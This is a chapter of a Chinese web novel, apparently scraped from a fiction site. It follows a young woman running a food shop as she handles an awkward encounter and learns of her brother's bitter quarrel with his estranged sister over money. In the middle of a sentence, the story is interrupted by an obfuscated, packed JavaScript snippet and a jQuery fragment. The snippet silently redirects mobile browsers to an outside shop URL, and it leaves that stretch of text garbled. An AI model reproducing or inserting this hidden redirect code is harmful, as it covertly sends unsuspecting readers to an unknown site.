文趣网 > 其他小说 > 假千金只想开店赚钱 > 45. 是恨
    见闻映低着头不吭声,徐行凑近了些许,又重复了一遍,语气不善。

    “你躲什么?”

    “哈、哈。”闻映干笑两声,脑子里一片空白,一个字也编不出来。

    她能说什么?

    说你师叔算出来我近日有桃花劫,所以我准备远离所有男子?

    还是说你突然凑过来,给我吓了一跳?

    哪个说出来都会让气氛更加尴尬。

    “我没有躲啊。”她硬着头皮挤出一句。

    “我看你要来帮忙推车,就松手了而已。”

    说完这两句梦游似的话,顾不上他信没信,闻映赶紧顺着车把呲溜滑出来,牵起晴姐儿就快步往前走。

    “走错了,这边。”

    从背后传来的提醒声仿佛含着杀气,闻映脚步一顿,闭了闭眼。

    事已至此,她默默转过身,扯出一个微笑:“多谢提醒,你对大相国寺真熟。”

    说完,她一脸“我没事啊我真的很好”的表情,直直盯着前方,手脚僵硬地迈开步子,努力忽略一旁那道扎人的目光,镇定地越过推车和扶着车的人。

    晴姐儿差点被姐姐绊倒,赶紧提醒:“姐姐,你走路同手——”同脚了哎。

    话没说完,被闻映一把捂了回去。

    小嘴巴,闭起来。

    ……

    最后闻映也不知道自己这一路是怎么走回来的,憋了满肚子的话也不知该怎么开口,徐行同样不发一言,沉默地推着那辆跟他不太搭的车子。

    每次她悄悄瞥过去时,都只能看见一个后脑勺,那仰起的每一分角度仿佛都在昭示着主人的不满。

    不知过了多久,三人拐进榆林巷,家门近在眼前。

    进门后,闻映长长地松了口气,正要顺理成章地开口说几句道谢的话——

    却不料徐行将推车推进院里,挨着墙边停下后,连看都没看她,冷哼一声,拂袖便走。

    她一愣,还没来得及开口,人已经出了门,转眼连身影都瞧不见了。

    闻映:“……”

    她张了张嘴,又闭上。

    完啦,她不会是彻底将人得罪了吧?

    她在原地站了一会儿,也没等回来那道身影,只好蔫头耷脑地往里走,有气无力地喊了一声:“我们回来了——”

    直到此时,她仍旧想不明白,事情究竟是如何一步一步走到现在的。

    这、这就是桃花劫的威力吗?

    恐怖如斯!

    院中没有人出现,灶房却传出了白雪的声音,平稳中带着一丝焦急:“正好,今日客人不少,姑娘歇会儿就过来。”

    一听白雪如此说,闻映顿时顾不上那些有的没的,和晴姐儿分了一碗水后便让她去玩,自己则挑开帘子进了灶房。

    左手顺手捞过挂在门口的围裙,三两下系好。闻映一边洗手一边扫视灶房的情况。

    白雪正一手端碗,一手盛胡辣汤,锅边还放着三碗已经盛好的,瞧见闻映进来,她顿时露出“得救了”的神情:“总算回来了,今日怎么这么晚?”

    “有点事,耽误了一会儿。”闻映说着快步走过来,端起小料碗,快速地在四碗汤里分别加了葱花和芫荽,又麻利地滴了几滴芝麻油,接过白雪手里的活,安排道:“灶房我来,你去前边忙吧。”

    “成!”

    方才还着急忙慌的灶房瞬间安定下来,白雪长长地松了口气。她走到水池边,打湿帕子,将额上、颈间的汗仔细擦净,又洗了手,这才端起几碗胡辣汤,出去上菜了。

    姑娘嘱咐过,她们开食肆,最重要的就是干净。不止在灶房做菜时要收拾得干净,出去时也要让客人看着干净。

    闻映继续忙活着一碗接一碗地做面,忽然听见身后动静,昭哥儿低着头走了进来,默不作声地往灶膛口一坐,就开始烧火。

    她抬眼看了他一眼,没说什么。

    方才一进灶房,她就觉得有些奇怪,里面只有白雪一个人在忙活。往常昭哥儿没事都会来帮着烧火,今日却不知怎的没见人影。

    现在瞧着他低沉的脸色,闻映心里犯起嘀咕:吵架啦?

    她没打算追问,只当什么都没看出来,如常地时不时吩咐昭哥儿调节火力。

    等白雪再进来时,闻映分心去留意:昭哥儿一动不动,脸色也没什么变化。白雪倒是看见昭哥儿后明显顿了顿,随即朝她看过来,一副有话想说的样子。

    看来不是吵架。

    闻映稍稍放心,回了白雪一个眼神,示意等会儿再说。

    白雪便也调整了神色,继续去忙了。

    这一忙就直到天彻底黑透,客人都走得差不多了,两人一起在前边收拾碗筷。

    闻映压低声音问:“怎么了?”

    白雪做贼似的先往灶房方向瞥了一眼,没人。这才放心地凑近,小声说:“姑娘,你猜今儿下午谁来了?”

    闻映想了想:“……胡萱?”

    白雪的眼睛一下子瞪得滚圆,一脸佩服地看着她:“姑娘你太厉害了,这都能猜到。”

    倒也不难猜。白雪认识的人里,能让昭哥儿反应这么大的,大概也只有胡萱了。

    还好,这不算什么事,她的心基本放下了。

    闻映面色平静:“来看孩子的是吧?没事,她想来随时都能来。”她不会拦着对方来看两个孩子。

    “不是!”白雪使劲摇头,“她是来找你的!”

    “找我?”闻映这下真有些意外了。

    其实,从在顺平侯府第一次见到胡萱起,她就察觉到了对方身上那股隐隐的敌意,或者说,排斥?

    当初抱错之事没有谁对谁错,但两人身份尴尬,几次去侯府时,彼此也都心照不宣地尽量避开碰面。

    在她看来,胡萱应该没有任何理由找她。

    白雪肯定地点头,“没错,她看上去满腹心事,进门就问你在不在,有事要同你说。我说你不在,她才又问两个孩子在不在。”

    闻映眉头拧起,难道是顺平侯府又出什么幺蛾子了?

    白雪却依旧贴在她身上没挪开,语气中满满都是复杂:“这还没完呢……把昭哥儿喊出来后,我就避到后边去了。可是,没过多久,我就听见他们吵起来了!”

    吵起来了?

    闻映的眼睛也不由自主跟着瞪大了,两人面面相觑。

    白雪的声音又低了几分,继续跟自家姑娘交代——

    那会儿正好也没什么事,她就坐在后院跟小狗玩。忽然,前边传来“哐当”一声巨响,吓得小狗“噗通”一下钻进了她怀里。

    她安抚了小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749868|206983||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    狗几句,悄悄地走进灶房,探头往外瞧:只见两人位置相对,一个站着,一个坐着,神情皆是激动。

    昭哥儿身后的椅子歪倒在地,旁边散落着什么,在昏黄的灯光下泛着冷冷的光。

    他声音发颤,带着质问:“难道我稀罕你的钱吗?”

    白雪这才意识到,原来地上撒着的是银子。

    胡萱也跟着站起身,眼眶开始变红:“为什么不稀罕?难道钱是很容易得到的东西吗?”

    “你竟丝毫不体谅我的苦心!”她的声音一下子拔高,胸口急促地起伏着,“我回去了,以后还能拉拔你和晴姐儿。我留在这里,咱们三个就只能一辈子在泥里打滚——你读不起书,我嫁不了人,最后连这间铺子也守不住,甚至连饭都吃不上!”

    昭哥儿攥紧拳头,整个人都在发抖,他咬着牙,一字一顿地低吼:“我说了我和晴姐儿不稀罕!不稀罕你的钱,也不稀罕你的拉拔!”

    说完,他猛地抬手,用力指向门外:“走!你现在就走!你不是闻家人,以后再也不要来我们家!”

    胡萱像被扇了一巴掌,脸色铁青,整个人僵在原地。她不可置信地看着昭哥儿,嘴唇哆嗦了几下,最终什么也没说,捂着脸转身跑了出去。

    白雪也被那番话震住了。

    她来闻家不久,对昭哥儿其实并不熟悉。只知道他平日话不多,但很听姑娘的话。要么把自己关在房里闷头读书,要么勤快地洗碗烧火。

    她还是头一回见到他这副失控的样子,着实吓了一跳。

    可等她回过神来,却见昭哥儿失魂落魄地跌坐在地,像被抽走了所有力气,脸上也滚下了泪珠。

    ……

    最后,白雪满心复杂地叹了口气:“唉……他确实也该生气。”

    闻映听完,擦着桌子的手停下,沉默了一会儿,才低声道:“不是生气,是恨。”

    原来一家人的感情有多浓厚,现在就有多恨。

    恨她的苦心。

    恨她的抛弃。

    恨她的无情。

    甚至恨自己,成了对方避之不及的拖累。

    就像原本的胡映,抱着死都不肯离开侯府的决心,支撑着她的或许也有恨。

    而换成与侯府毫无感情的她,就能走得干脆,不适应的人也变成了胡巍和张大娘子。

    闻映知晓了始末,没有多说什么,只给晚上不想吃饭的昭哥儿多做了一锅清淡养胃的小米粥,温在灶上。

    她没有去劝慰昭哥儿,也没有再去提起下午的事。有些路,只能自己走;有些结,也只能自己解。

    她理解他的感情,也尊重他的处理方式。

    就像她与胡巍、张大娘子,也是经过了初期的试探、磨合,最后找到了彼此都舒服的新的相处距离。

    如今轮到昭哥儿和胡萱了,他们也得自己去走这一遭。

    第二日,昭哥儿照旧一早起来到了灶房。

    闻映如常吩咐他:“刚好有件差事要给你。”

    昭哥儿应了一声,洗了手便等在一旁。

    到了下午,所有从闻香来食肆门前经过的人,都不自觉地停下脚步,饶有兴致地凑到墙边,仔细端详上面新挂出的画。

    有人喃喃念出画上方的四个大字:

    “无肉不欢?”